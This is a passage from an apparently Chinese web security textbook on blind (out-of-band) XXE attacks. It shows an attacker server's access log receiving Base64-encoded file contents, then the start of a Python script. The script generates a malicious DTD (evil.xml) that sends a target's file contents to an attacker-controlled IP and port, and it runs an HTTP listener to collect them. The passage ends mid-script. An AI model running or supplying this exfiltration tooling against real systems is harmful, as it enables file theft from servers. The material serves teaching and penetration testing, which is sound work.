我们点击发送这个数据包，就可以在 VPS 上看到 HTTP 访问记录，如下所示：

```
root@kali:~# tail -f /var/log/apache2/access.log
192.168.61.134 - - [14/Jan/2020:11:31:00 +0800] "GET /evil.xml HTTP/1.0" 200 377 "-" "-"
192.168.61.134 - - [14/Jan/2020:11:31:00 +0800] "GET /?content=aGVsbG8gaGFja2VyISEh HTTP/1.0" 200 172 "-" "-"
```

对 content 的内容进行 Base64 解码将得到文件内容，如图 5-3 所示。

图 5-3 内容进行解码

5.2.2 检测方法

在目标服务器无回显的情况下，只能通过 OOB 信息传送来进行 XXE 攻击，但实际的操作过程则比较烦琐，本节针对无回显的 XXE，通过 Python 脚本来实现流程自动化。具体步骤如下：

1）写入脚本相关信息和模块：

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-


from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys
```

2）编写攻击 Payload 的生成函数，能够根据给定的 IP 地址和端口生成相应的包含恶意 DTD 的 XML 文件：

```
def ExportPayload(lip,lport):
    file = open('evil.xml','w')
    file.write("<!ENTITY % payload \"<!ENTITY &#x25; send SYSTEM 'http://{0}:
        {1}/?content=%file;'>\"> %payload;".format(lip, lport))
    file.close()
    print("[*] Payload 文件创建成功！")
```

3）编写 HTTP 服务函数，通过 http.server 模块实现 HTTP 服务，用来监听目标服务器返回的数据：

```
# 开启 HTTP 服务，接收数据
def StartHTTP(lip,lport):
    # HTTP 监听的 IP 地址和端口
    serverAddr = (lip, lport)
    httpd = HTTPServer(serverAddr, MyHandler)
    print("[*] 正在开启 HTTP 服务器：\n\n================\nIP 地址：{0}\n 端口：
```